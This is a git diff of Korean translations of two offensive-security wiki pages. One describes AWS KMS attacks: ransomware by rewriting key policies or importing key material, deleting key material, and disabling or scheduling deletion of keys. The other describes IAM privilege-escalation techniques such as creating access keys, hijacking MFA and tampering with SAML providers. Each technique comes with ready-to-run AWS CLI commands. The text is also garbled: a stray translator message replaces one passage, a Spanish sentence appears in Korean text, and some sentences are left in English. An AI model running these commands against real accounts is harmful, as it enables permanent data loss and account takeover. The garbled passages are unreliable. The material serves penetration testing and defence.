diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md index 01915803c..237211a11 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md @@ -4,7 +4,7 @@ ## KMS -자세한 내용은 다음을 확인하세요: +자세한 정보는 다음을 확인하세요: {{#ref}} ../../aws-services/aws-kms-enum.md @@ -12,15 +12,15 @@ ### 암호화/복호화 정보 -`fileb://` and `file://` 은 AWS CLI 명령에서 로컬 파일 경로를 지정할 때 사용되는 URI 스킴입니다: +`fileb://`와 `file://`은 AWS CLI 명령에서 로컬 파일의 경로를 지정할 때 사용되는 URI 스킴입니다: -- `fileb://:` 는 파일을 바이너리 모드로 읽으며, 일반적으로 텍스트 이외의 파일에 사용됩니다. -- `file://:` 는 파일을 텍스트 모드로 읽으며, 일반적으로 일반 텍스트 파일, 스크립트 또는 특수 인코딩이 필요하지 않은 JSON에 사용됩니다. +- `fileb://:`는 파일을 바이너리 모드로 읽습니다. 비텍스트 파일에 일반적으로 사용됩니다. +- `file://:`는 파일을 텍스트 모드로 읽습니다. 일반 텍스트 파일, 스크립트 또는 특수 인코딩이 필요 없는 JSON에 주로 사용됩니다. > [!TIP] -> 파일 내의 데이터를 복호화하려면, 파일이 base64로 인코딩된 데이터가 아니라 바이너리 데이터를 포함해야 합니다. (fileb://) +> 파일 내부의 일부 데이터를 복호화하려면, 파일이 base64로 인코딩된 데이터가 아니라 바이너리 데이터를 포함해야 합니다. (fileb://) -- **대칭** 키 사용 +- **symmetric** 키 사용 ```bash # Encrypt data aws kms encrypt \ @@ -60,14 +60,14 @@ aws kms decrypt \ ``` ### KMS Ransomware -KMS에 대한 권한을 가진 공격자는 키의 KMS 정책을 수정해 **자신의 계정에 대한 접근을 허용하고**, 정당한 계정에 부여된 접근 권한을 제거할 수 있습니다. +KMS에 대한 권한 있는 접근을 가진 공격자는 키의 KMS 정책을 수정하고 **자신의 계정에 대한 접근을 부여**함으로써 정당한 계정에 부여된 접근을 제거할 수 있습니다. -그렇게 되면 정당한 계정 사용자는 해당 키로 암호화된 모든 서비스의 정보를 확인할 수 없게 되어, 계정에 대해 쉽지만 효과적인 ransomware가 발생합니다. +그 결과 정당한 계정 사용자는 해당 키로 암호화된 서비스의 어떠한 정보에도 접근할 수 없게 되어 계정에 대해 쉽고도 효과적인 ransomware를 유발합니다. > [!WARNING] -> 참고: **AWS managed keys aren't affected** by this attack, only **Customer managed keys**. +> 참고: **AWS managed keys aren't affected**, 이 공격은 오직 **Customer managed keys**에만 영향을 줍니다. -> 또한 파라미터 **`--bypass-policy-lockout-safety-check`**의 사용이 필요하다는 점에 유의하세요(이 옵션이 web console에는 없기 때문에 이 공격은 CLI에서만 가능하게 됩니다). +> 또한 **`--bypass-policy-lockout-safety-check`** 파라미터를 사용해야 함에 유의하세요(이 옵션이 web console에 없어 이 공격은 CLI에서만 가능합니다). ```bash # Force policy change aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ @@ -92,28 +92,28 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ } ``` > [!CAUTION] -> 정책을 변경하여 외부 계정에만 액세스를 허용한 경우, 해당 외부 계정에서 새 정책을 설정해 **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**. +> 정책을 변경하여 외부 계정에만 액세스를 부여한 다음, 해당 외부 계정에서 원래 계정에 액세스를 다시 부여하도록 새 정책을 설정하려고 하면, **원래 계정에 접근 권한을 되돌려주려 해도, Put Polocy action cannot be performed from a cross account 때문에 불가능합니다.**
### Generic KMS Ransomware -global KMS Ransomware를 수행하는 또 다른 방법이 있으며, 다음 단계들을 포함합니다: +글로벌 KMS Ransomware를 수행하는 또 다른 방법이 있으며, 다음 단계가 포함됩니다: -- 공격자가 가져온 **key with a key material**로 새 키를 생성 -- 피해자의 이전 버전으로 암호화된 오래된 데이터를 새 키로 **Re-encrypt older data** +- 공격자가 가져온 **key material**으로 새 **key**를 생성 +- 이전 버전으로 암호화된 피해자의 오래된 데이터를 새 키로 **재암호화** - **Delete the KMS key** -- 이제 원본 key material을 가진 공격자만 암호화된 데이터를 복호화할 수 있게 됨 +- 이제 원래의 **key material**을 가진 공격자만 암호화된 데이터를 복호화할 수 있게 됩니다 ### Delete Keys via kms:DeleteImportedKeyMaterial -`kms:DeleteImportedKeyMaterial` 권한이 있으면, 행위자는 `Origin=EXTERNAL`인 CMKs에서 imported key material을 삭제할 수 있습니다 (CMKs that have imperted their key material). 이로 인해 해당 CMK로는 데이터를 복호화할 수 없게 됩니다. 이 동작은 파괴적이고 되돌릴 수 없으며, 호환되는 material이 재임포트되지 않는 한 복구할 수 없습니다. 따라서 공격자는 암호화된 정보를 영구적으로 접근 불가능하게 만들어 ransomware-like 데이터 손실을 초래할 수 있습니다. +With the `kms:DeleteImportedKeyMaterial` permission, an actor can delete the imported key material from CMKs with `Origin=EXTERNAL` (CMKs that have imported their key material), making them unable to decrypt data. 이 작업은 파괴적이며, 호환되는 material이 재임포트되지 않는 한 되돌릴 수 없습니다. 공격자는 이를 통해 암호화된 정보를 영구적으로 접근 불가능하게 만들어 실질적인 ransomware-like 데이터 손실을 초래할 수 있습니다. ```bash aws kms delete-imported-key-material --key-id ``` -### Destroy keys +### 키 파괴 -키를 파괴하면 DoS를 수행할 수 있습니다. +키를 파괴하면 DoS를 발생시킬 수 있습니다. ```bash # Schedule the destoy of a key (min wait time is 7 days) aws kms schedule-key-deletion \ @@ -121,10 +121,10 @@ aws kms schedule-key-deletion \ --pending-window-in-days 7 ``` > [!CAUTION] -> AWS는 이제 **교차 계정에서 이전 작업들이 수행되지 않도록 차단합니다:** +> AWS가 이제 이전 작업들이 교차 계정에서 수행되는 것을 **차단한다는 점에 유의하세요:** ### Alias 변경 또는 삭제 -이 공격은 AWS KMS aliases를 삭제하거나 리다이렉트하여 키 해석을 깨뜨리고 해당 aliases에 의존하는 서비스들에서 즉시 실패를 발생시켜 denial-of-service를 초래합니다. `kms:DeleteAlias` 또는 `kms:UpdateAlias` 같은 권한을 가진 공격자는 aliases를 제거하거나 다른 대상으로 재지정하여 암호화 작업(예: encrypt, describe)을 방해할 수 있습니다. alias 대신 key ID를 참조하는 서비스는 alias가 복원되거나 올바르게 재매핑될 때까지 실패할 수 있습니다. +이 공격은 AWS KMS aliases를 삭제하거나 재지정하여 키 해석을 무너뜨리고, 해당 aliases에 의존하는 서비스들이 즉시 실패하게 만들어 서비스 거부(denial-of-service)를 초래할 수 있습니다. `kms:DeleteAlias` 또는 `kms:UpdateAlias` 같은 권한을 가진 공격자는 aliases를 제거하거나 재지정하여 암호화 작업(예: encrypt, describe)을 방해할 수 있습니다. alias 대신 key ID를 참조하는 모든 서비스는 alias가 복원되거나 올바르게 다시 매핑될 때까지 실패할 수 있습니다. ```bash # Delete Alias aws kms delete-alias --alias-name alias/ @@ -135,7 +135,7 @@ aws kms update-alias \ --target-key-id ``` ### 키 삭제 취소 -`kms:CancelKeyDeletion` 및 `kms:EnableKey` 같은 권한을 가진 사용자는 AWS KMS customer master key의 예약 삭제를 취소하고 이후 재활성화할 수 있습니다. 이렇게 하면 키가 복구되어(초기에는 Disabled 상태) 이전에 보호된 데이터를 복호화할 수 있게 되고, exfiltration이 가능해집니다. +`kms:CancelKeyDeletion` 및 `kms:EnableKey` 같은 권한을 가진 행위자는 AWS KMS customer master key의 예약된 삭제를 취소하고 이후 다시 활성화할 수 있습니다. 이렇게 하면 키가 복구되어(초기에는 Disabled state에 있음) 이전에 보호된 데이터를 복호화할 수 있는 능력이 복원되어 exfiltration이 가능해집니다. ```bash # Firts cancel de deletion aws kms cancel-key-deletion \ @@ -146,13 +146,13 @@ aws kms enable-key \ --key-id ``` ### Disable Key -`kms:DisableKey` 권한이 있으면 행위자는 AWS KMS customer master key를 비활성화할 수 있으며, 이로 인해 해당 키를 이용한 encryption 또는 decryption이 불가능해집니다. 이는 해당 CMK에 의존하는 모든 서비스의 접근을 차단하여 키가 다시 활성화될 때까지 즉각적인 중단이나 denial-of-service를 초래할 수 있습니다. +`kms:DisableKey` 권한을 가진 행위자는 AWS KMS customer master key를 비활성화할 수 있어 해당 키를 암호화 또는 복호화에 사용할 수 없게 합니다. 이는 해당 CMK에 의존하는 모든 서비스의 접근을 차단하여 키가 다시 활성화될 때까지 즉각적인 중단이나 denial-of-service를 초래할 수 있습니다. ```bash aws kms disable-key \ --key-id ``` -### Derive Shared Secret -`kms:DeriveSharedSecret` 권한이 있으면, 행위자는 KMS에 보관된 개인 키와 사용자가 제공한 공개 키를 사용하여 ECDH 공유 비밀을 계산할 수 있다. +### 공유 비밀 도출 +`kms:DeriveSharedSecret` 권한이 있으면, 행위자는 KMS에 보관된 개인 키와 사용자 제공 공개 키를 사용해 ECDH 공유 비밀을 계산할 수 있습니다. ```bash aws kms derive-shared-secret \ --key-id \ @@ -160,7 +160,7 @@ aws kms derive-shared-secret \ --key-agreement-algorithm ``` ### Impersonation via kms:Sign -`kms:Sign` 권한이 있으면, 행위자는 KMS에 저장된 CMK를 사용해 개인 키를 노출하지 않고도 데이터를 암호학적으로 서명할 수 있으며, 이는 유효한 서명을 생성해 impersonation을 가능하게 하거나 악의적인 동작을 승인할 수 있습니다. +권한 `kms:Sign`을 가진 행위자는 KMS에 저장된 CMK를 사용하여 private key를 노출하지 않고 데이터를 암호학적으로 서명할 수 있으며, 이는 impersonation을 가능하게 하거나 악의적인 행동을 승인할 수 있는 유효한 서명을 생성합니다. ```bash aws kms sign \ --key-id \ @@ -169,7 +169,7 @@ aws kms sign \ --message-type RAW ``` ### DoS with Custom Key Stores -`kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, 또는 `kms:UpdateCustomKeyStore` 같은 권한을 가진 경우, 행위자는 AWS KMS Custom Key Store (CKS)를 수정, 분리 또는 삭제하여 해당 마스터 키를 작동 불능으로 만들 수 있습니다. 이는 해당 키에 의존하는 서비스들의 암호화, 복호화 및 서명 작업을 중단시키고 즉각적인 denial-of-service를 일으킬 수 있습니다. 따라서 이러한 권한을 제한하고 모니터링하는 것이 매우 중요합니다. +`kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, `kms:UpdateCustomKeyStore` 같은 권한을 가진 사용자는 AWS KMS Custom Key Store (CKS)를 수정, 분리하거나 삭제하여 해당 마스터 키를 사용 불가 상태로 만들 수 있습니다. 이로 인해 해당 키에 의존하는 서비스들의 암호화, 복호화 및 서명 작업이 중단되어 즉시 서비스 거부(denial-of-service)를 초래할 수 있습니다. 따라서 이러한 권한을 제한하고 모니터링하는 것이 매우 중요합니다. ```bash aws kms delete-custom-key-store --custom-key-store-id diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index 6156c7a56..dd777e0b4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -12,38 +12,57 @@ IAM에 대한 자세한 내용은 다음을 확인하세요: ### **`iam:CreatePolicyVersion`** -새 IAM 정책 버전을 생성할 수 있는 권한을 부여합니다. `--set-as-default` 플래그를 사용하면 `iam:SetDefaultPolicyVersion` 권한 없이 우회할 수 있습니다. 이를 통해 사용자 정의 권한을 설정할 수 있습니다. +새로운 IAM 정책 버전을 생성할 수 있는 권한을 부여하며, `--set-as-default` 플래그를 사용하여 `iam:SetDefaultPolicyVersion` 권한을 우회합니다. 이를 통해 사용자 정의 권한을 정의할 수 있습니다. **Exploit Command:** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**영향:** 모든 리소스에 대해 모든 작업을 허용하여 권한을 직접적으로 상승시킵니다. +**Impact:** 모든 리소스에 대해 모든 작업을 허용함으로써 권한을 직접 상승시킵니다. ### **`iam:SetDefaultPolicyVersion`** -IAM policy의 기본 버전을 다른 기존 버전으로 변경할 수 있게 허용하며, 새 버전에 더 많은 권한이 있으면 권한 상승이 발생할 수 있습니다. +IAM policy의 기본 버전을 다른 기존 버전으로 변경할 수 있도록 허용하며, 새 버전에 더 많은 권한이 있으면 잠재적으로 권한이 상승될 수 있습니다. -**Bash 명령:** +**Bash Command:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**영향:** 추가 권한을 허용하여 간접적인 privilege escalation을 초래함. +**Impact:** 간접적인 privilege escalation — 더 많은 권한을 부여할 수 있게 됨. -### **`iam:CreateAccessKey`** +### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)** -다른 사용자에 대해 access key ID 및 secret access key를 생성할 수 있게 하여 잠재적인 privilege escalation으로 이어짐. +다른 사용자의 access key ID와 secret access key를 생성할 수 있게 하며, 잠재적인 privilege escalation으로 이어질 수 있습니다. **Exploit:** ```bash aws iam create-access-key --user-name ``` -**Impact:** 다른 사용자의 확장된 권한을 가정하여 직접 privilege escalation을 유발합니다. +**Impact:** 다른 사용자의 확장된 권한을 가정하여 직접적인 privilege escalation을 수행할 수 있습니다. + +Note that a user can only have 2 access keys created, so if a user already has 2 access keys you will need the permission `iam:DeleteAccessKey` to detele one of them to be able to create a new one: +```bash +aws iam delete-access-key --uaccess-key-id +``` +### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`** + +새로운 가상 MFA 장치를 생성하고 다른 사용자에게 활성화할 수 있다면, 해당 사용자에 대해 사실상 자신의 MFA를 등록한 뒤 그 사용자의 자격 증명으로 MFA가 적용된 세션을 요청할 수 있습니다. + +**Exploit:** +```bash +# Create a virtual MFA device (this returns the serial and the base32 seed) +aws iam create-virtual-mfa-device --virtual-mfa-device-name + +# Generate 2 consecutive TOTP codes from the seed, then enable it for the user +aws iam enable-mfa-device --user-name --serial-number \ +--authentication-code1 --authentication-code2 +``` +**영향:** 사용자의 MFA 등록을 탈취하고(그런 다음 해당 사용자의 권한을 사용하여) 직접적인 권한 상승을 초래합니다. ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -로그인 프로필을 생성하거나 업데이트할 수 있으며, AWS 콘솔 로그인을 위한 비밀번호 설정을 포함하여 직접 privilege escalation으로 이어질 수 있습니다. +로그인 프로필을 생성하거나 업데이트할 수 있으며, AWS console login의 비밀번호 설정을 포함해 직접적인 권한 상승으로 이어집니다. **Exploit for Creation:** ```bash @@ -55,21 +74,21 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**영향:** "any" 사용자로 로그인함으로써 직접적인 권한 상승. +**영향:** "any" 사용자로 로그인하여 직접적인 권한 상승. ### **`iam:UpdateAccessKey`** -비활성화된 access key를 활성화할 수 있게 허용하며, 공격자가 해당 비활성 키를 보유한 경우 무단 접근으로 이어질 수 있습니다. +비활성화된 액세스 키를 활성화할 수 있어, 공격자가 해당 비활성화된 키를 보유하고 있을 경우 무단 액세스로 이어질 수 있습니다. **Exploit:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**영향:** 액세스 키를 재활성화하여 직접적인 권한 상승. +**Impact:** 액세스 키를 재활성화하여 직접적인 권한 상승. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -특정 AWS 서비스(예: CodeCommit, Amazon Keyspaces)에 대한 자격 증명을 생성하거나 재설정할 수 있으며, 연관된 사용자의 권한을 상속합니다. +특정 AWS 서비스(예: CodeCommit, Amazon Keyspaces)에 대한 자격 증명을 생성하거나 재설정할 수 있으며, 연결된 사용자의 권한을 상속합니다. **Exploit for Creation:** ```bash @@ -79,31 +98,31 @@ aws iam create-service-specific-credential --user-name --service-name ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**영향:** 사용자의 서비스 권한 범위 내에서 직접적인 권한 상승. +**영향:** 사용자 서비스 권한 내에서 직접적인 권한 상승. ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -사용자 또는 그룹에 정책을 연결할 수 있으며, 연결된 정책의 권한을 상속받아 권한을 직접 상승시킬 수 있습니다. +사용자나 그룹에 정책을 연결할 수 있어, 연결된 정책의 권한을 상속받아 권한을 직접 상승시킬 수 있습니다. **사용자용 Exploit:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` -**그룹에 대한 Exploit:** +**그룹을 위한 Exploit:** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**Impact:** 정책이 부여하는 모든 항목으로의 직접적인 권한 상승. +**영향:** 정책이 부여하는 모든 대상에 대해 Direct privilege escalation이 직접적으로 가능합니다. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -역할, 사용자 또는 그룹에 정책을 첨부하거나 추가할 수 있도록 허용하여, 추가 권한을 부여함으로써 직접적인 권한 상승을 가능하게 합니다. +역할, 사용자 또는 그룹에 정책을 연결하거나 추가할 수 있게 허용하여 추가 권한을 부여함으로써 Direct privilege escalation을 가능하게 합니다. **Exploit for Role:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` -**인라인 정책을 위한 Exploit:** +**Inline Policies에 대한 Exploit:** ```bash aws iam put-user-policy --user-name --policy-name "" \ --policy-document "file:///path/to/policy.json" @@ -114,7 +133,7 @@ aws iam put-group-policy --group-name --policy-name "" aws iam put-role-policy --role-name --policy-name "" \ --policy-document file:///path/to/policy.json ``` -다음과 같은 정책을 사용할 수 있습니다: +해당 파일 내용이 일부만 제공되었습니다. README.md의 전체 텍스트(또는 번역할 부분)를 붙여넣어 주세요. 제공해주시면 지침에 따라 Markdown/HTML 문법과 태그·링크·경로는 그대로 두고 영어 텍스트를 한국어로 번역해 드리겠습니다. ```json { "Version": "2012-10-17", @@ -127,28 +146,28 @@ aws iam put-role-policy --role-name --policy-name "" \ ] } ``` -**영향:** 정책을 통해 권한을 추가하여 직접적인 권한 상승. +**영향:** 정책을 통해 permissions을 추가하여 직접적인 권한 상승. ### **`iam:AddUserToGroup`** -자신을 IAM 그룹에 추가할 수 있게 하여, 그룹의 권한을 상속받아 권한을 상승시킨다. +자신을 IAM 그룹에 추가할 수 있게 하여, 그룹의 permissions을 상속받아 권한을 상승시킵니다. **Exploit:** ```bash aws iam add-user-to-group --group-name --user-name ``` -**Impact:** 그룹의 권한 수준으로 직접 권한 상승. +**영향:** 그룹의 권한 수준으로 직접적인 권한 상승. ### **`iam:UpdateAssumeRolePolicy`** -역할의 assume role policy document를 변경할 수 있도록 허용하며, 해당 역할 및 연관된 권한을 획득할 수 있게 합니다. +역할의 assume role policy 문서를 변경할 수 있어 해당 역할 및 연관된 권한을 가정할 수 있게 한다. **Exploit:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -정책이 다음과 같아서 사용자가 해당 역할을 맡을 수 있도록 권한을 부여하는 경우: +정책이 다음과 같이 되어 있어 사용자가 역할을 맡을 수 있는 권한을 부여하는 경우: ```json { "Version": "2012-10-17", @@ -163,11 +182,11 @@ aws iam update-assume-role-policy --role-name \ ] } ``` -**Impact:** 임의 역할의 권한을 가정하여 직접적인 권한 상승. +**Impact:** 어떤 역할의 권한을 가정하여 발생하는 직접적인 privilege escalation. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -CodeCommit 인증을 위한 SSH public key 업로드 및 MFA devices 비활성화를 허용하여 잠재적인 간접 권한 상승으로 이어질 수 있음. +CodeCommit에 인증하기 위한 SSH 공개 키 업로드 및 MFA 디바이스 비활성화를 허용하며, 이는 잠재적인 간접적인 privilege escalation으로 이어질 수 있다. **Exploit for SSH Key Upload:** ```bash @@ -177,24 +196,24 @@ aws iam upload-ssh-public-key --user-name --ssh-public-key-body --serial-number ``` -**Impact:** CodeCommit 접근을 허용하거나 MFA 보호를 비활성화하여 발생할 수 있는 간접적인 권한 상승. +**Impact:** CodeCommit 액세스 허용 또는 MFA 보호 비활성화로 인한 간접 privilege escalation. ### **`iam:ResyncMFADevice`** -MFA 디바이스의 재동기화를 허용하며, MFA 보호를 조작하여 간접적인 권한 상승으로 이어질 수 있음. +MFA 장치의 재동기화를 허용하며, MFA 보호를 조작하여 간접적인 privilege escalation로 이어질 수 있습니다. -**Bash 명령:** +**Bash Command:** ```bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**영향:** MFA devices를 추가하거나 조작함으로써 발생하는 간접적인 권한 상승. +**영향:** MFA 장치를 추가하거나 조작함으로써 발생하는 간접적인 권한 상승. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -이 권한들이 있으면 **SAML 연결의 XML metadata를 변경**할 수 있습니다. 그러면 **SAML federation을 악용해**, 이를 신뢰하는 어떤 **role로도 login**할 수 있습니다. +이 권한을 이용하면 **SAML 연결의 XML 메타데이터를 변경할 수 있습니다**. 그런 다음, **SAML 페더레이션**을 악용해 그것을 신뢰하는 어떤 **role**로든 **login**할 수 있습니다. -참고로 이렇게 하면 **legit users는 login할 수 없게 됩니다**. 그러나 XML을 얻을 수 있으므로, 자신의 XML을 넣고 login하여 이전 상태로 다시 구성할 수 있습니다. +참고: 이렇게 하면 **정상 사용자들은 login할 수 없게 됩니다**. 그러나 XML을 획득할 수 있으므로, 자신의 XML을 넣고 login한 뒤 이전 상태로 다시 구성할 수 있습니다. ```bash # List SAMLs aws iam list-saml-providers @@ -211,11 +230,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` > [!NOTE] -> TODO: SAML metadata를 생성하고 지정된 role로 login할 수 있는 Tool +> TODO: 지정된 역할로 로그인할 수 있고 SAML 메타데이터를 생성할 수 있는 도구 ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(불확실함) 공격자가 이들 **permissions** 를 가지고 있다면, provider를 신뢰하는 모든 **roles** 에 대해 login할 수 있도록 새 **Thumbprint** 를 추가할 수 있다. +(확실하지 않음) 공격자가 이러한 **permissions**를 가지고 있다면, 공급자를 신뢰하는 모든 역할에 로그인할 수 있도록 새로운 **Thumbprint**를 추가할 수 있습니다. ```bash # List providers aws iam list-open-id-connect-providers @@ -226,7 +245,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar ``` ### `iam:PutUserPermissionsBoundary` -이 권한은 공격자가 특정 사용자의 permissions boundary를 업데이트할 수 있게 하며, 이를 통해 기존 권한으로는 허용되지 않았던 작업을 수행하도록 권한을 상승시킬 수 있습니다. +이 permissions는 attacker가 user의 permissions boundary를 업데이트하도록 허용하여, 기존 permissions에 의해 보통 제한되는 작업을 수행할 수 있게 함으로써 privileges를 잠재적으로 상승시킬 수 있습니다. ```bash aws iam put-user-permissions-boundary \ --user-name \ @@ -249,13 +268,13 @@ Un ejemplo de una política que no aplica ninguna restricción es: ``` ### `iam:PutRolePermissionsBoundary` -iam:PutRolePermissionsBoundary 권한을 가진 행위자는 기존 역할에 권한 경계(permissions boundary)를 설정할 수 있습니다. 이 권한을 가진 사용자가 역할의 경계를 변경하면 위험이 발생합니다: 작업을 부적절하게 제한해 서비스 중단을 초래할 수 있고, 만약 권한을 넓게 허용하는 경계(permissive boundary)를 붙이면 역할이 수행할 수 있는 범위를 사실상 확장해 권한 상승을 일으킬 수 있습니다. +iam:PutRolePermissionsBoundary 권한을 가진 주체는 기존 역할에 권한 경계(permissions boundary)를 설정할 수 있습니다. 이 권한을 가진 사람이 역할의 경계를 변경하면 위험이 발생합니다: 운영을 부적절하게 제한하여 서비스 중단을 초래할 수 있고, 관대한 경계를 붙이면 역할이 할 수 있는 작업이 실질적으로 확장되어 권한 상승으로 이어질 수 있습니다. ```bash aws iam put-role-permissions-boundary \ --role-name \ --permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy ``` -## 참고자료 +## 참조 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)